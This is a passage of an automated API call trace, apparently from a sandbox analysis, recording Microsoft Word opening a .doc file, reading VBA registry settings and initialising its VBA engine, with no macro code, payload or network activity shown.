dwMapFlags=0x600000, lpSrcStr="ホ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ボ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ポ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="マ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ミ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ム", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="メ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="モ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.013] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ャ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヤ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ュ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ユ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ョ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヨ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ラ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="リ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ル", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="レ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ロ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヮ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ワ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヰ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ン", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヵ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヸ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヹ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="・", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ー", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0018.014] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヿ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0018.015] GetUserDefaultLangID () returned 0x409 [0018.015] GetSystemDefaultLangID () returned 0x1a0409 [0018.015] GetSystemMetrics (nIndex=42) returned 0 [0018.015] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3c) returned 0x780fb90 [0018.016] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x38) returned 0x787cad0 [0018.016] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20000*=0x78746341) returned 0x7a5eec0 [0018.017] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78e8440 [0018.017] GetStockObject (i=13) returned 0x18a002e [0018.017] GetObjectA (in: h=0x18a002e, c=60, pv=0x3078e0 | out: pv=0x3078e0) returned 60 [0018.040] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x7d8) returned 0x7a7eed0 [0018.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7.1\\Common", cchWideChar=-1, lpMultiByteStr=0x7a7eedc, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.1\\Common", lpUsedDefaultChar=0x0) returned 11 [0018.041] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x98) returned 0x7833590 [0018.041] VirtualQuery (in: lpAddress=0x307a60, lpBuffer=0x307a20, dwLength=0x30 | out: lpBuffer=0x307a20*(BaseAddress=0x307000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x9000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0018.041] CreateCompatibleDC (hdc=0x0) returned 0x6801023e [0018.041] GetCurrentObject (hdc=0x6801023e, type=0x7) returned 0x185000f [0018.041] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78e8320 [0018.041] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x28) returned 0x78e82c0 [0018.086] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", lpString2="") returned 1 [0018.086] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 38 [0018.086] lstrcpyA (in: lpString1=0xa10c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0018.086] SetCursor (hCursor=0x10007) returned 0x10007 [0018.086] GetCurrentThreadId () returned 0x9d8 [0018.086] GetCurrentThreadId () returned 0x9d8 [0018.086] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x4) returned 0x79f75d0 [0018.086] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf0) returned 0x7a9a390 [0018.086] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7957bb0 [0018.087] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x280) returned 0x794e730 [0018.087] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa08) returned 0x7aa1f60 [0018.087] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x1738) returned 0x7aa2970 [0018.088] GetLocalTime (in: lpSystemTime=0x3078b8 | out: lpSystemTime=0x3078b8*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x17e)) [0018.088] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x794e75a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.088] wcsncpy_s (in: _Destination=0x307580, _SizeInWords=0x108, _Source="*\\Z005bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z005bf1acda") returned 0x0 [0018.089] CharLowerBuffW (in: lpsz="*\\Z005bf1acda", cchLength=0xd | out: lpsz="*\\z005bf1acda") returned 0xd [0018.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005bf1acda", cchWideChar=14, lpMultiByteStr=0x3074b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.089] wcscpy_s (in: _Destination=0x7957bd0, _SizeInWords=0xe, _Source="*\\Z005bf1acda" | out: _Destination="*\\Z005bf1acda") returned 0x0 [0018.089] wcsncpy_s (in: _Destination=0x3075c0, _SizeInWords=0x108, _Source="*\\Z005bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z005bf1acda") returned 0x0 [0018.089] CharLowerBuffW (in: lpsz="*\\Z005bf1acda", cchLength=0xd | out: lpsz="*\\z005bf1acda") returned 0xd [0018.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005bf1acda", cchWideChar=14, lpMultiByteStr=0x3074f0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.089] lstrcpyA (in: lpString1=0xa10c780, lpString2="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0018.089] lstrcpyA (in: lpString1=0xa10c780, lpString2="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0018.089] lstrcpyA (in: lpString1=0xa10c780, lpString2="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0018.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa10c780, cbMultiByte=-1, lpWideCharStr=0x307f40, cchWideChar=39 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 39 [0018.089] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0018.089] wcscpy_s (in: _Destination=0x307ce6, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.089] wcsncpy_s (in: _Destination=0x307900, _SizeInWords=0x108, _Source="*\\Z005bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z005bf1acda") returned 0x0 [0018.089] CharLowerBuffW (in: lpsz="*\\Z005bf1acda", cchLength=0xd | out: lpsz="*\\z005bf1acda") returned 0xd [0018.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005bf1acda", cchWideChar=14, lpMultiByteStr=0x307830, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.089] _wcsicmp (_String1="*\\Z005bf1acda", _String2="*\\Z005bf1acda") returned 0 [0018.089] wcsncpy_s (in: _Destination=0x307900, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.089] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x307830, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.089] wcscpy_s (in: _Destination=0x79eac70, _SizeInWords=0x2a, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.089] wcsncpy_s (in: _Destination=0x307900, _SizeInWords=0x108, _Source="*\\Z005bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z005bf1acda") returned 0x0 [0018.089] CharLowerBuffW (in: lpsz="*\\Z005bf1acda", cchLength=0xd | out: lpsz="*\\z005bf1acda") returned 0xd [0018.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005bf1acda", cchWideChar=14, lpMultiByteStr=0x307830, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.090] _wcsicmp (_String1="*\\Z005bf1acda", _String2="*\\Z005bf1acda") returned 0 [0018.090] wcsncpy_s (in: _Destination=0x307940, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.090] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x307870, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.090] wcscpy_s (in: _Destination=0x794e750, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.090] CExposedDocFile::AddRef () returned 0x2 [0018.090] CExposedDocFile::OpenStorage () returned 0x0 [0018.090] CExposedDocFile::AddRef () returned 0x2 [0018.090] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x84) returned 0x7957bb0 [0018.090] wcscpy_s (in: _Destination=0x7957c20, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0018.090] wcscpy_s (in: _Destination=0x3071e0, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0018.090] _ltow_s (in: _Value=0, _Buffer=0x3071ec, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.090] CExposedDocFile::OpenStream () returned 0x80030002 [0018.091] IMalloc:Free (This=0x7fefe9e5380, pv=0x7957bb0) [0018.091] longjmp () [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x84) returned 0x7957bb0 [0018.093] wcscpy_s (in: _Destination=0x7957c20, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a0efe0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a0f0a0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a1f4d0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a1f720 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a1f970 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x28) returned 0x7820250 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x75b7650 [0018.093] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x3071dc, cchData=6 | out: lpLCData="1252") returned 5 [0018.093] atoi (_Str="1252") returned 1252 [0018.093] GetLocalTime (in: lpSystemTime=0x3071d0 | out: lpSystemTime=0x3071d0*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x18e)) [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7957cd0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f75b0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7957d60 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x78201f0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7957df0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f75a0 [0018.093] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7590 [0018.093] strcpy_s (in: _Dst=0x306fb0, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0018.093] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0018.094] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fef108d500, lpdwDisposition=0x0 | out: phkResult=0x7fef108d500*=0x9a0, lpdwDisposition=0x0) returned 0x0 [0018.094] RegQueryValueExA (in: hKey=0x9a0, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x307088, lpData=0x307080, lpcbData=0x307084*=0x4 | out: lpType=0x307088*=0x0, lpData=0x307080*=0x4e, lpcbData=0x307084*=0x4) returned 0x2 [0018.094] RegQueryValueExA (in: hKey=0x9a0, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x307088, lpData=0x307080, lpcbData=0x307084*=0x4 | out: lpType=0x307088*=0x0, lpData=0x307080*=0x0, lpcbData=0x307084*=0x4) returned 0x2 [0018.094] RegQueryValueExA (in: hKey=0x9a0, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x307088, lpData=0x307080, lpcbData=0x307084*=0x4 | out: lpType=0x307088*=0x0, lpData=0x307080*=0x1, lpcbData=0x307084*=0x4) returned 0x2 [0018.094] RegQueryValueExA (in: hKey=0x9a0, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x307088, lpData=0x307080, lpcbData=0x307084*=0x4 | out: lpType=0x307088*=0x0, lpData=0x307080*=0x0, lpcbData=0x307084*=0x4) returned 0x2 [0018.094] RegQueryValueExA (in: hKey=0x9a0, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x307088, lpData=0x307080, lpcbData=0x307084*=0x4 | out: lpType=0x307088*=0x0, lpData=0x307080*=0xff, lpcbData=0x307084*=0x4) returned 0x2 [0018.094] RegQueryValueExA (in: hKey=0x9a0, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x307088, lpData=0x307080, lpcbData=0x307084*=0x4 | out: lpType=0x307088*=0x0, lpData=0x307080*=0x0, lpcbData=0x307084*=0x4) returned 0x2 [0018.094] RegCloseKey (hKey=0x9a0) returned 0x0 [0018.094] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc0) returned 0x7a8b170 [0018.094] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc0) returned 0x7a8ae30 [0018.094] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x1300) returned 0x7aa40b0 [0018.095] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4320000 [0018.095] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x6b10000 [0018.096] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0018.096] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x4330000 [0018.097] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0018.097] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4650000 [0018.097] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4f30000 [0018.098] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4fe0000 [0018.099] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0018.099] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x50f0000 [0018.099] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0018.099] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0018.099] CExposedDocFile::OpenStream () returned 0x0 [0018.100] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x420) returned 0x798efd0 [0018.100] CExposedStream::AddRef () returned 0x2 [0018.100] CExposedStream::Release () returned 0x1 [0018.100] CExposedStream::Read () returned 0x0 [0018.100] GetProcAddress (hModule=0x7fee3590000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee359f200 [0018.100] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x5100000 [0018.101] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7200000 [0018.102] CExposedDocFile::CreateStream () returned 0x0 [0018.102] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x420) returned 0x7a7f6b0 [0018.102] CExposedStream::AddRef () returned 0x2 [0018.102] CExposedStream::Release () returned 0x1 [0018.102] CExposedStream::Release () returned 0x0 [0018.102] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a7f6b0) [0018.102] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0018.102] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x51b0000 [0018.102] VirtualAlloc (lpAddress=0x7200000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x7200000 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0018.103] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0018.104] LHashValOfNameSysA (syskind=0x3, lcid=0x409, 